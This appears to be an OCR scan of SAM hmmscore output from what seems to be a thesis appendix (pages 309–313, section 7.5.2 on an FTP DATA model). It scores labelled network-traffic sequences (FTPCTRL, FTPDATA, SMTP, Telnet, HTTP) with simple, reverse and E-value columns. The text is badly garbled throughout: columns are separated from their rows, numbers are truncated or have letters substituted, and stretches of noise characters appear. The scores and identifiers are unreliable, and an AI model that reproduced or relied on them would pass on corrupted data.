% Lambda fit (1.0000, 1.3315): 2.3573

o\

Not fitted (1.0000, 1.0000): 2.2202
Calibration data for 500 database sequences
277 of 500 scores > calibrate threshold (0) used.
Score DP Method: viterbi single-path (dpstyle = 1)
Align DP Method: viterbi (adpstyle = 1)
500 sequences, 17947 residues, 5 nodes, 0.24 seconds

o® A o0 o° o o

o°

Sequence scores selected: All (select score=8)

o\

o\

Simple: NLL-NULL using FIM probabilities
Reverse: NLL-NULL for the reverse sequence NULL model
Calculated when Simple < simple threshold (10000.00)
E-value on N (=500) sequences:
N / (1 + exp(-(lambda (=1.0819) * Reverse)“tau(=1.2707)))
Calculated when Simple < simple threshold (10000.00)
Rescale E-values or use -dbsize for multiple scoring runs.
Scores sorted by E-value, best first

o o° o° o° o° o° o°

oe

Sequence ID Length Simple Reverse E-value X count
FTPCTRL]38990F0 5 -9.32 -6.34 4.85e-03
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FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL]212060A
FTPCTRL]2D61CCA

12421056
]
]
]
]
18
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
FTPCTRL]B2098A
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]

FB4FC37
B24168
2D617DA
F30BCC6
928FA
24226E2
3897AC4
B20DO07
B245D6
2EE3FE9
211B186
BO9C50ES
2D65B8D
3C11474
3Cl16A4
3898E5B
88FAE9
38990B9
3COES5D7
3C11349
2422098
242102D

FTPCTRL]2D6633D
2421034
2D61952
389702F
3898F08
88FEC9
8929C5
89290B
24226E8
3897037
211B129
3C0C262
3C1180A
B20A82
34D344FA
2EE3A38
3C0E433
212060E
8928F8
242260B
3C0Cc22A
3899046

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL] 3COES5C4
[FTPCTRL]B2435D
[FTPCTRL] 3896FEA
[Telnet]B21B22
[Telnet]2D6745D
[FTPCTRL] 2D662DO0

[G2NE;]
(G2 =l NG B G2 B G B G2 B G2 BN G2 BN NG B G RN G2 NG BNG2 BNG, BNG ) ING) NG B G BNG BN BG2 BNG BN BN, B G RNG BNG BG RG BNG) BNE) B C BNG NG NG, BC2 BNG NG BNG B G2 BNG) NG B G, BNG2 BNG BNG2 RGN G) BN G B G2 IO,

.32
.31
.31
.15
.85
.85
.85
.82
.81
.81
.80
.80
.80
.67
.67
.67
.67
.65
.65
.65
.64
.59
.56
.56
.56
.56
.50
.50
.49
.49
.46
.46
.46
.46
.46
.46
.46
.53
.53
.53
.53
.26
.57
.36
.36
.28
.28
.28
.28
.28
.28
.31
.21
.85
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.34
.33
.33
.17
.15
.15
.15
.13
.11
.11
.10
.10
.10
.97
.97
.97
.97
.95
.95
.95
.94
.90
.86
.86
.86
.86
.80
.80
.79
.79
.76
.76
.76
.76
.76
.76
.76
.55
.55
.55
.55
.28
.87
.67
.67
.59
.59
.59
.59
.59
.59
.25
.22
.15

oo DD, ddGSM>SSHEHFREREPRRErPRERErERARErERErERRErERERERPEPRERERPEPRRPRARRPRRPREPRRRPRRREREO0OOOODOOOOOCDT ]IS DD

.85e-03
.95e-03
.95e-03
.04e-03
.49%9e-03
.49e-03
.49e-03
.88e-03
.10e-03
.18e-03
.35e-03
.40e-03
.40e-03
.11e-02
.11e-02
.11e-02
.11e-02
.18e-02
.18e-02
.18e-02
.20e-02
.33e-02
.44e-02
.44e-02
.44e-02
.44e-02
.66e-02
.66e-02
.70e-02
.70e-02
.80e-02
.80e-02
.80e-02
.80e-02
.80e-02
.80e-02
.80e-02
.93e-02
.93e-02
.93e-02
.93e-02
.32e-02
.29%e-01
.00e-01
.00e-01
.37e-01
.37e-01
.37e-01
.37e-01
.37e-01
.37e-01
.78e-01
.05e-01
.93e-01



FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL]21205D2
FTPCTRL]3C0C231

1211B19F
]
]
]
]
]
FTPCTRL] 3COE54E
]
]
]
]
]
]

22A0CB3E
3896FCB
88FC22

FTPCTRL] 88FC1F
3897B42
3792E236
211B184
2421001
FTPCTRL]24221FE
FTPCTRL]B23FDE
SMTP]2D65B23
SMTP]2D65B22
FTPCTRL]B20BEC
SMTP]891E29
FTPCTRL]B207D6
FTPCTRL]24210B5
SMTP]2612CE9
SMTP]540DC13
SMTP]260E6DC
SMTP]260E6DA
SMTP]260E6DB
SMTP]260F1C3
]
]
]
]

FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[SMTP]260F1C1
[SMTP]260EECD
[SMTP]260E617
[SMTP]260E618
[SMTP]2611D52
[FTPCTRL] 3897A2F
[FTPCTRL]3897B02
[Telnet]3898C3E
[FTPCTRL]2962B9C1
[FTPCTRL] 3C0C1B3
[SMTP]891E27
[SMTP]891E28
[Telnet]5E53E88
[SMTP]2422BF6
[Telnet]2614989
[SMTP]2613338
[FTPCTRL]B23F13
[Telnet]B2533E
[SMTP]540DC17
[SMTP]12612383

[ 2610284

[ 260E84E
[SMTP]26128F9

[
[
[
[
[

]
SMTP]
]
]
SMTP]260E6D9
]
]
]
]

SMTP

SMTP
SMTP
SMTP
SMTP

260F1BF
260F1C2
260E83B
2611D51

w W

()]
O = 0oy oy U1 U1 OO OO OO OO 01 U1 OOl

.85
.85
.85
.72
.72
.72
.69
.69
.69
.69
.30
.30
.30
.30
.51
.49
.66
.91
.55
.44
.09
.60
.51
.51
.51
.42
.42
.87
.15
.15
.06
.84
.84
.76
.46
.52
.07
.07
.17
.37
77
.63
.05
.08
.92
.19
.43
.43
.59
LT
.68
.68
.04
.32
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.15
.15
.15
.03
.03
.03
.99
.99
.99
.99
.61
.61
.61
.61
.03
.00
.96
.92
.64
.54
.17
.17
.17
.17
.17
.17
.17
.17
.17
.17
.17
.14
.14
.11
.04
.82
.79
.67
.63
.61
.58
.42
.41
.33
.32
.32
.32
.32
.32
.32
.32
.32
.32
.32

0 0O 00 0 O O 00 00 W W WO I ~JTO U UTLUd D WNDNDNNDNMNDNMNDNMNDNNMNNNDNNDNNMNDNNMDNMNDNNNRERERPOODOOGORRRREOOOOOOOOIIJ0 oo

.93e-01
.93e-01
.93e-01
.61le-01
.61le-01
.61le-01
.19%9e-01
.19%9e-01
.19%9e-01
.19%9e-01
.78e+00
.78e+00
.78e+00
.78e+00
.43e+00
.71e+00
.16e+00
.56e+00
.10e+01
.32e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.48e+01
.61le+01
.61le+01
.71e+01
.05e+01
.29%9e+01
.52e+01
.35e+01
.67e+01
.80e+01
.10e+01
.57e+01
.63e+01
.52e+01
.55e+01
.55e+01
.55e+01
.55e+01
.55e+01
.55e+01
.55e+01
.55e+01
.55e+01
.55e+01



[SMTP]260F662
[Telnet] 5E54A21
[Telnet]211DAFS8
[FTPCTRL]2D619EOQ
[FTPCTRL]B245DB
[FTPCTRL]2D6189D
[SMTP]2D634A2
[FTPCTRL]260E869
[Telnet]211E5A6
[FTPCTRL]B24344
[FTPCTRL]2D6634B
[FTPCTRL] 2D662C7
[FTPCTRL]260E805
[FTPCTRL] 3COE3BA
[FTPCTRL] 3897042
[Telnet]2617CCA
[Telnet] 5E53E7D
[Telnet]2423FF6
[Telnet]3898C37
[FTPCTRL] 3C113BF
[FTPCTRL] 892A71
[Telnet]24210CF
[Telnet]211D81C
[Telnet] 5E549F7
[Telnet]2614F95
[Telnet]260EF52
[SMTP]2D66E67
[FTPCTRL] 2EE3ECB
[FTPCTRL] 3C0C1D1
[Telnet] 5BDAABRG
[SMTP]260E848
[Telnet]193E4B8
[Telnet]260EE11l
[Telnet]2616798
[Telnet]2420DF8
[Telnet]B253FD
[HTTP]26106E9
[FTPDATA] 2D63FEC
[ 2613CBA
[ 2D67009
[ 583D2F
[ 2423304
[
[
[
[
[
[
[
[
[
[
[
[

FTPDATA
FTPDATA
FTPDATA
FTPDATA
FTPDATA]204F1366
FTPDATA]2D66BDD
FTPDATA]3C0ODCDD
Telnet]211D9A4
HTTP]2612082
Telnet]2423FA4
HTTP]2611846
FTPDATA]2D66BDF
FTPDATA] 3CODCEO
FTPDATA]2D6700B
FTPDATA]2613CBD
HTTP]2125916

e e e e

.60
.43
.43
.18
.18
.81
.17
.91
.01
.65
.65
.65
.65
.65
.65
.97
.03
.07
.07
.18
.18
.99
.99
.56
.32
.38
.07
.95
.86
.87
.59
.40
.40
.16
.28
.28
.46
.81
.81
.81
.81
.81
.81
.81
.81
.89
.47
.17
.46
.83
.83
.83
.83
.26
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.32
.32
.32
.28
.28
11
.04
.01
.96
.95
.95
.95
.95
.95
.95
.65
.65
.65
.65
.65
.65
.65
.65
.61
.54
.45
.34
.26
.10
.08
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00

NN NN NDNDNDNDNDNDNDNDMNDMNDNDNDNDNDNDMNDNDMDMNDMNDNDNDND™MdDNDNRRERrRPRrPRPRRRRRRRERPRERRRRRREWOWOOOOOO©
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[HTTP]

[ ]

[ ]

[
[
[
[
[
[
[
[
[

2120409
2611350
HTTP]21204C1
HTTP]211FF16
HTTP]2120346
Telnet]B21D15
Telnet]38985B5
Telnet]2D60EBB
HTTP]260F8CB
Telnet]2420FE4
Telnet]242658B
Telnet]B2416D
]

Telnet]5E540DF

14A1FEFS8

51
51
51
51
51
51
51
13
51
36
36
51
51
51
51
51
51
51
23
23
27
31
30
34
34
34
42
48
48
47
47
47
14
51
51
31
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51

-39
-39

-42

-23

-43

-15

-23

-37

-1.
-43.
-43.
.27

=22

-41.
-41.
-41.
-41.
-41.
.62
-41.
-41.
-41.
.62
-45.
-45.
-45.
-45.
-44.
.19
.29
-45.

-41

-41

-45
-44

.57
.57
-39.
-39.
-43.
-43.
.23
.76
-43.
-23.
.36
.28
-39.
-39.
-42.
-43.
-43.
-42.
-11.
-11.
.76
-20.
-19.
-23.
-23.
.40
-32.
-38.
-38.
-37.
-37.
.71

57
57
18
02

22
36

89
89
28
15
00
98
42
42

12
03
40
40

19
81
81
71
71

79
22
22

62
62
62
62
62

62
62
62

13
13
13
05
25

22
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.74
.74
.74
.74
.74
.75
.79
.79
.79
.82
.82
.82
.82
.82
.02
.05
.05
.05
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.13
.50
.50
.50
.50
.50
.50
.50
.50
.50
.50
.50
.51
.51
.51
.51
.55
.55
.66
.66

BSOS DS D DD DD PR DSDSDSDS DD DD PSS SDSDDDD BB DSDSSDSDD DD BSEDSDSDSDSDSDDDDSDSSDSDDSD DD

.52e+02
.52e+02
.52e+02
.52e+02
.52e+02
.52e+02
.55e+02
.55e+02
.55e+02
.57e+02
.57e+02
.57e+02
.57e+02
.57e+02
.68e+02
.70e+02
.70e+02
.70e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.74e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.86e+02
.87e+02
.87e+02
.89%e+02
.89%e+02



[
[
[
[
[
[
[
[
[
[
[
[
[

HTTP]2120826 51
Telnet] 260EFCF 51
Telnet]24264BA 51
Telnet]2614C46 51
Telnet]5E53EDO 51
FTPDATA]2D66BDE 51
FTPDATA]2D6700A 51
Telnet]242103F 51
Telnet]B249B4 51
Telnet]2423E2A 51
Telnet] 5SBDAADF 51
HTTP]12120347 51
FTPDATA]2613CB7 51

7.5.2. MODELO FTP DATA

00 o° o° A A° O° A o° o°

o°

o0 o0 O o O° A° A° A A A A A O A A A A AN A A A O A A A° N o

oe

SAM: hmmscore v3.5

(c)

-43.
-45.
-45.
-45.
-45.
-43.09
-43.09
-44.34
-47.20
-44 .41
-44 .41
-39.69
-41.03

87
27
27
27
27

WwwwdhNhhNDNDNDDNDDND NN

.66
.81
.81
.81
.81
.81
.81
.82
.82
.03
.03
.47
L7

.89%e+02
.92e+02
.92e+02
.92e+02
.92e+02
.92e+02
.92e+02
.92e+02
.92e+02
.95e+02
.95e+02
.98e+02
.99e+02

BSOS DD D DD DD DD DD

(July 15, 2005) compiled 07/19/05 11:12:12
1992-2001 Regents of the University of California,

Santa Cruz

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

Citations

R. Hughey,

Extension and analysis of the basic method, CABIOS 12:95-107,
What is the value added by human intervention in protein
Proteins:

K. Karplus, et al.,
structure prediction,

001.

A. Krogh et al.,

Applications to protein modeling,

(SAM,

Stucture,

SAM-T2K, HMMs)
A. Krogh, Hidden Markov models for sequence analysis:

Function,

1996.

Genetics 45(S5) :86--91,

Hidden Markov models in computational biology:
JMB 235:1501-1531,

Feb 1994.

Sat Sep 26 23:20:14 2009

normLabFTPDATA
edsheut

Host:
Dir:

Sheut
/home/edsheut/TEST

Inserted Files: FTPDATA .mod

Database Files:
Subsequence-submodel (local)

Track 0 FIMs added
Single Track Model:

Average encoding costs (nats
Original (1.0000, 1.0000
Calibrated (1.1270, 0.5968
Lambda fit (1.0000, 0.6686
Not fitted (1.0000, 1.0000):

normales.seq

(SW =
Simple scores adjusted by +1.5*1n(seq len)
(geometric mean of match probabilities

FTPDATA .mod

vvvv

2)

Calibration data for 500 database sequences

145 of 500 scores > calibrate threshold

Score DP Method:
Align DP Method:
500 sequences,

viterbi

Sequence scores selected:

viterbi single-path
(adpstyle =
17947 residues, 45 nodes,

All

(adjust_score =

for (tau, lambda) s
3.2696
2.9616
2.8387
3.2696

(0) used.

(dpstyle = 1

1)

2)
(6))

ettings:

)

0.19 seconds

(select score=8)

309
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o\

Sequence ID
HTTP]21203A7
HTTP]2120451
FTPCTRL]BY9C50ES
FTPCTRL]211B186
HTTP]260EEBS
HTTP]211DD59
HTTP]2610068
HTTP]21203A6
HTTP]2125C40
Telnet]211E7F3
Telnet] 5E53FDE
FTPDATA]3220B199
SMTP]261237C
FTPDATA]2D6700B
FTPDATA]2D66BDF
FTPDATA] 3898173
HTTP]2120348
FTPDATA]2123B12
FTPDATA] 583D2F
FTPDATA]2D66BDD
FTPDATA]12423304
FTPDATA]2D67009
FTPDATA]2D6700A
FTPDATA]2D66BDE
FTPDATA]2423301
FTPDATA] 2D66AFA
SMTP]260EB11
SMTP]2610A77
SMTP]261238F
SMTP]260E615
HTTP]58331B
SMTP]26105E3
Telnet]5E54157
SMTP]261113D
FTPDATA]583D32
FTPDATA]2613FC5
FTPDATA]2613CBS5S
SMTP]260F1BE
FTPDATA]2D6659C
SMTP]540DC15
SMTP]12610283
FTPDATA]2D665A1
SMTP]2611D6B
SMTP]260EECH

L e M M e B e B B T B R e I e R e R e T T T e T e T e R e T e T R T I e T T e e i I e T e T I e R I e T e e e\ o)

sequences:

Length

51
51

5

5
12
51
51
51
51
51
51
51
51
51
51
51
22
51
51
51
51
51
51
51
51
51
36
36
36
34
51
20
51
36
51
51
51
36
51
28
23
51
31
31

Simple: NLL-NULL using FIM probabilities

Reverse: NLL-NULL for the reverse sequence NULL model
Calculated when Simple < simple threshold (10000.00)

E-value on N (=500)
N / (1 + exp(-(lambda (=0.5968)

* Reverse)“tau(=1.1270)))

best first

Simple

-14.

-14

-17.
-17.
-15.

-13

-13.
-14.
-13.
-12.
-13.
-12.
-15.
-12.
-12.

-12
-14

-12.
-12.
-12.

-12

-12.
-11.
-11.
-12.

-14

-14.
-14.
-13.
-13.
-12.

-13

-12.
-12.

-11
-11

-11.
-13.

-11
-11

-13.
-11.

-13
-13

89
.80
15
15
85
.46
16
69
38
71
00
85
14
58
58
.74
.23
63
67
67
.67
67
68
68
52
.41
83
08
59
50
01
.73
43
24
.57
.57
57
91
.25
.72
89
56
.59
.59

310

Reverse

.88
.86
.37
.37
.86
.42
.28
.26
.20
.03
.02
.97
.96
.91
.91
.86
.84
.76
.74
.74
.74
.74
.73
.73
.64
.51
.49
.34
.28
.13
.04
.98
.88
.75
.70
.70
.70
.57
.57
.55
.51
.46
.43
.43

Calculated when Simple < simple threshold (10000.00)
Rescale E-values or use -dbsize for multiple scoring runs.
Scores sorted by E-value,

oo bbb DD DdOWOWONDNDNDNMNNRRRERRPRPRRREPRPRERRRPRPRPERRPRPRPRERRERE IS WWHE

-value

.10e-01
.14e-01
.76e-01
.76e-01
.29%e-01
.05e+00
.17e+00
.20e+00
.25e+00
.45e+00
.45e+00
.51e+00
.52e+00
.59e+00
.59e+00
.65e+00
.68e+00
.80e+00
.82e+00
.82e+00
.82e+00
.82e+00
.84e+00
.84e+00
.97e+00
.20e+00
.23e+00
.53e+00
.65e+00
.98e+00
.21e+00
.36e+00
.64e+00
.06e+00
.23e+00
.23e+00
.23e+00
.66e+00
.67e+00
.73e+00
.89%9e+00
.08e+00
.24e+00
.24e+00

X count



FTPDATA
FTPDATA

[ ]3CODCEOQ
[ 12613CBD
[FTPDATA] 3CODCE3
[FTPDATA]389816F
[FTPDATA]26739D2B
[HTTP]2125C3E
[FTPDATA] 2D63FEA
[FTPDATA]2613CBS8
[FTPDATA]204F1366
[FTPDATA]2123B11
[HTTP]21206EA
[HTTP]211DD5A
[SMTP]891E27
[SMTP]2611D9E
[HTTP]12120450
[FTPDATA]2D671A3
[SMTP]260EG6DA
[SMTP]260E6DC
[SMTP]260E6DB
[SMTP]2611D52
[FTPDATA]389816D
[FTPDATA]3CODCE1
[FTPDATA]2D66BEO
[FTPDATA]2D6700C
[Telnet]2614EE4
[FTPDATA] 2CFEO8F
[FTPDATA]260E95F
[HTTP]12610C4B
[FTPDATA]2D66BD9
[FTPDATA]2D67005
[Telnet]B2533E
[SMTP]260F1C3
[SMTP]260F1C1
[FTPCTRL] 2EE3A38
[FTPDATA]2613FC4
[FTPDATA]583D31
[FTPDATA]2613CB4
[SMTP]260E84F
[SMTP]2612CE9
[FTPDATA]2423303
[FTPDATA]583D2E
[FTPDATA]2613CB7
[SMTP]2D65B23
[FTPCTRL] 2FO0F96BD
[FTPCTRL
[FTPCTRL
[FTPCTRL]212060C
[FTPCTRL]211B17A
[FTPCTRL]2B539611
[SMTP]260EAAS
[FTPDATA]2123B13
[SMTP]260EE83
[SMTP]540DC12
[SMTP]540DC13

3897774

]
12120C20
]
]

.07
.07
.22
.22
.30
.59
.02
.02
.88
.92
.24
.27
.07
.66
.78
.70
.83
.83
.83
.18
.65
.65
.48
.48
.57
.40
.40
.43
.37
.37
.25
.36
.36
12
.30
.30
.30
.90
.10
.09
.09
.02
.85
.62
.62
.62
.62
.62
.62
.96
.87
.30
.30
.50

311

.40
.40
.34
.34
.33
.22
.04
.04
.96
.95
.94
.86
.84
.83
.74
.72
.72
12
12
12
.68
.68
.51
.51
.47
.47
.47
.43
.40
.40
.35
.33
.33
.33
.33
.33
.33
.24
.19
.12
.12
.04
.98
.96
.96
.96
.96
.96
.96
.90
.90
.89
.89
.84

PR PR RRPRRPRRRRPRPRRPRPRPRRERRPRPRERRRRPRRRERERRRRROWOWOIOWOWOOOO0O0OO-J-d-d-dd0 0 010 oo

.34e+00
.34e+00
.62e+00
.62e+00
.66e+00
.14e+00
.07e+00
.07e+00
.56e+00
.62e+00
.66e+00
.16e+00
.30e+00
.35e+00
.97e+00
.09e+00
.11e+00
.11e+00
.11e+00
.11e+00
.41e+00
.41e+00
.07e+01
.07e+01
.10e+01
.10e+01
.10e+01
.13e+01
.16e+01
.16e+01
.20e+01
.22e+01
.22e+01
.22e+01
.23e+01
.23e+01
.23e+01
.31e+01
.36e+01
.43e+01
.43e+01
.52e+01
.5%e+01
.61le+01
.6le+01
.61le+01
.61le+01
.6le+01
.6le+01
.70e+01
.70e+01
.71e+01
.71e+01
.77e+01



[FTPDATA]2D66BDA
[FTPDATA]2D67006
[FTPDATA]2123B10
[HTTP]211FF18
[FTPDATA]2123BOF
[HTTP]2125C41
[HTTP]2120121
[SMTP12613775
[HTTP12120346
[FTPDATA]2421037
[HTTP]B1FEFD
[SMTP]260E616
[SMTP] 260EAAF
[SMTP]260EECD
[SMTP]260EE77
[SMTP] 260EAAE
[HTTP]21204C2
[HTTP12120272
[SMTP]12612383
[HTTP12120109
[SMTP]260EECB
[HTTP]2120452
[FTPCTRL]19000C79
[FTPCTRL] 8902A9
[FTPCTRL]260E7BS8
[SMTP]2610251
[HTTP]2610EBS5
[HTTP]211DD2E
[FTPCTRL]B20BEC
[FTPDATA]2D67007
[FTPDATA] 2D66BDB
[HTTP]212040A
[SMTP]261059F
[Telnet]5ES53E7D
[SMTP]260E848
[FTPDATA]2D63FEC
[FTPDATA]2613CBA
[FTPDATA]3C0ODCDD
[FTPDATA]260E7DO0
[SMTP]2612D07
[SMTP]260E618
[SMTP]260E617
[FTPDATA]3898170
[FTPDATA]3CODCE4
[FTPDATA]2D665A0
[FTPDATA]2421036
[FTPDATA]E7CFDFD
[HTTP]212095E
[FTPDATA]260E95C
[FTPCTRL]FB4FC37
[FTPCTRL]B24168
[SMTP]2D6734E
[FTPDATA]260E9S5B
[FTPDATA]260E7CF

51
51
51
33
51
36
51
36
51
51
51
34
19
31
33
36
17
51
20
36
31
51

36
51
25

51
51
51
36
51
51
51
51
51
36
37
34
34
51
51
10
10
51
51
36

21
23
23

.36
.36
.36
.80
.74
.02
.18
.90
.41
.60
.34
.81
.39
.10
.99
.22
.13
.94
.26
.70
.40
.81
.59
.59
.59
.31
.61
.40
71
.67
.67
.97
.37
.57
.74
.93
.93
.93
.83
.48
.01
.01
.05
.05
.35
.35
.33
.01
.59
.34
.34
.29
.30
.30

312

.82
.82
.82
.82
LT
.75
.75
.74
.72
.70
.66
.59
.59
.54
.53
.50
.49
.49
.45
.43
.41
.33
.20
.20
.20
.18
.15
.14
.14
.13
.13
.10
.09
.08
.05
.01
.01
.01
.93
.93
.82
.82
.82
.82
.81
.81
.78
.72
.70
.67
.67
.65
.60
.60

O DD W WWWWWWWWWWWWWWWWNNNNDNNNNNDNDNNMNDNNDNNNMMMNDNMDNDNMDNMDNMDNNNNRERERRPRRERRRRERR

.80e+01
.80e+01
.80e+01
.80e+01
.86e+01
.89%e+01
.89%e+01
.91e+01
.93e+01
.96e+01
.02e+01
.13e+01
.13e+01
.20e+01
.23e+01
.28e+01
.30e+01
.30e+01
.35e+01
.40e+01
.42e+01
.58e+01
.82e+01
.82e+01
.82e+01
.86e+01
.92e+01
.93e+01
.95e+01
.97e+01
.97e+01
.04e+01
.05e+01
.08e+01
.14e+01
.23e+01
.23e+01
.23e+01
.41e+01
.42e+01
.69e+01
.69e+01
.69%9e+01
.69%9e+01
.71e+01
.71e+01
.79e+01
.95e+01
.01le+01
.08e+01
.08e+01
.13e+01
.30e+01
.30e+01



[FTPDATA]2423302
[HTTP]260FA4C
[SMTP]260EAA4
[SMTP]2613EDA
[Telnet]2617DEG6
[HTTP]1212040B
[FTPCTRL]B20D0O7
[SMTP]2612381
[HTTP]212095F
[HTTP]2611A39
[HTTP]3C13499
[HTTP]2611846
[HTTP]1212022A
[HTTP]12120345
[SMTP]260F1BF
[SMTP]260F1C2
[SMTP]2613F3E
[HTTP]2120120
[HTTP]334A07C
[HTTP]21206EC
[HTTP]260ED37
[HTTP]2611847
[HTTP]2120347
[HTTP]211FF17
[FTPDATA]2D63FEB
[FTPDATA]2613CB9
[FTPDATA] 3CODCDC
[HTTP]BO521E
[Telnet]2614989
[HTTP]21204C1
[HTTP]12120408
[Telnet] 5ES549F7
[SMTP]2610A76
[HTTP]583319
[HTTP]21204AC
[FTPCTRL] 2D617DA
[FTPDATA] 2D63FED
[FTPDATA] 3CODCDE
[FTPDATA]2613CBB
[SMTP]2D66EG6
[FTPCTRL]38990F0
[FTPCTRL] 2421056
[SMTP]260E83B
[Telnet]540FE1l6
[SMTP]260F662
[HTTP]1212044E
[SMTP]2611D51
[HTTP]21206EF
[Telnet]2614D2A
[FTPDATA]260E95D
[Telnet]211DAFS8
[SMTP]2613F3F
[SMTP]2420336
[SMTP]2D63EFF

.10
.19
.75
.75
.58
.16
.73
.87
.49
.34
.89
.68
.88
.10
.68
.68
.69
.19
.16
.14
.62
.92
.64
.43
.16
.16
.16
.86
.56
.56
.65
.47
.52
.56
.27
.45
.26
.26
.26
.43
.98
.98
.65
.24
.42
.62
.52
.06
.31
.85
.32
.78
.16
.93

313

.55
.49
.49
.49
.40
.40
.35
.34
.33
.27
.19
.18
.17
.13
.12
.12
.05
.05
.04
.99
.96
.95
.94
.93
.93
.93
.93
.92
.85
.80
.72
.68
.67
.63
.54
.52
.51
.51
.51
.47
.45
.45
.42
.36
.30
.30
.28
.23
.23
.20
.16
.14
.10
.08

PFRPRPRPRPRPRPRPRPRPPFP OOWOWOOO0O0OMOWO®MOMOMMTJJJJJOO OO OO O)Oo)ooyoyoy Ul U1 U1 U1 U1 U1 U1 U1 U1 U1 b i D

.43e+01
.61le+01
.62e+01
.62e+01
.89%e+01
.91e+01
.07e+01
.10e+01
.14e+01
.33e+01
.62e+01
.66e+01
.70e+01
.86e+01
.88e+01
.88e+01
.14e+01
.14e+01
.20e+01
.37e+01
.52e+01
.56e+01
.59%9e+01
.62e+01
.64e+01
.64e+01
.64e+01
.69e+01
.96e+01
.18e+01
.54e+01
.75e+01
.77e+01
.97e+01
.3%e+01
.53e+01
.58e+01
.58e+01
.58e+01
.76e+01
.87e+01
.87e+01
.00e+01
.35e+01
.65e+01
.69e+01
.79e+01
.01le+02
.01le+02
.02e+02
.04e+02
.06e+02
.08e+02
.09%e+02



[SMTP]260E6EQD
[Telnet]B249B4
[FTPDATA] 3C10EDG
[FTPDATA]2D66BDC
[FTPDATA]2D67008
[HTTP]21204C3
[FTPCTRL] 2D662C7
[FTPCTRL]B24344
[FTPCTRL]2D6634B
[Telnet]2123629
[FTPCTRL] 3C0OC1B3
[HTTP]260E691
[Telnet]B1lF63F
[Telnet]88E1E2
[Telnet]260EE04
[Telnet]389854B
[SMTP]2610284
[SMTP]260E84E
[SMTP]2612900
[FTPDATA]3C10EQ7
[HTTP]21203A8
[FTPDATA] 389816E
[FTPDATA]3CODCE2
[FTPDATA]2D6700E
[FTPDATA]2D66BE2
[FTPDATA]3898172
[FTPCTRL] 3COE433
[HTTP]211DD5B
[FTPCTRL]2D61952
[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

FTPCTRL]389702F
HTTP]2125916
HTTP]2120271
FTPCTRL]260E805
FTPCTRL]B245DB
FTPCTRL]2D619EQ
SMTP]260F94F
Telnet]2616084
Telnet]2423FA4
Telnet] 5E540E3
SMTP]891E29
FTPCTRL]2D6189D
HTTP]334A07B
HTTP]24251B5
Telnet]B24E8A
Telnet]211E5E1
Telnet] 5BDA237
Telnet]2423E05
Telnet]2617C71
Telnet] 88EF06
HTTP]260F0B7
Telnet]B218A6
Telnet]B21D15
Telnet]2D60EBB
]

Telnet]38985B5

GoTooWwN N OO a0 1 (GG INE N SIS NN
S DdMPRPPRPPRPOOWWRRRRGOROOORRFRFJPE ©

ul

[G2NE)]
(NG I ) B I O

.50
.81
.57
.99
.99
.31
.18
.18
.18
.61
77
.63
.28
.53
.83
.79
.72
12
.62
.13
.55
.22
.22
.97
.97
.97
.83
.22
.83
.83
.85
.18
.86
.86
.86
.94
.94
.07
.51
.63
.73
.35
.54
.08
.08
.40
.22
.22
.48
.01
.91
.17
.17
.17
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.03
.03
.02
.00
.00
.93
.83
.83
.83
.81
.74
.74
.74
71
.70
.66
.62
.62
.62
.60
.57
.54
.54
.51
.51
.51
.50
.49
.49
.49
.47
.45
.42
.42
.42
.40
.40
.40
.40
.40
.39
.38
.36
.34
.27
.27
.27
.27
.25
.23
.23
.21
.21
.21

PR RPRRPRPRPRPRRRPRRPRPRRRRRRPRRRRRRPRrRRRRRRPRPRRRRRPRPRRPRPRRRPRPRRRREREPEPRRERERRRRERRR

.12e+02
.12e+02
.13e+02
.14e+02
.14e+02
.18e+02
.24e+02
.24e+02
.24e+02
.25e+02
.30e+02
.31e+02
.31e+02
.32e+02
.33e+02
.35e+02
.38e+02
.38e+02
.38e+02
.40e+02
.42e+02
.44e+02
.44e+02
.46e+02
.46e+02
.46e+02
.47e+02
.47e+02
.47e+02
.47e+02
.49e+02
.50e+02
.52e+02
.52e+02
.52e+02
.53e+02
.53e+02
.53e+02
.53e+02
.53e+02
.54e+02
.55e+02
.56e+02
.57e+02
.62e+02
.62e+02
.62e+02
.62e+02
.64e+02
.65e+02
.65e+02
.66e+02
.66e+02
.66e+02



[HTTP]260F8CB
[FTPCTRL] 3897AC4
[SMTP]2D674DD
[SMTP]261059D
[HTTP]260FA4B
[SMTP]2D670D5
[HTTP] 9AA48C
[SMTP]2D674A3
[SMTP]261059E
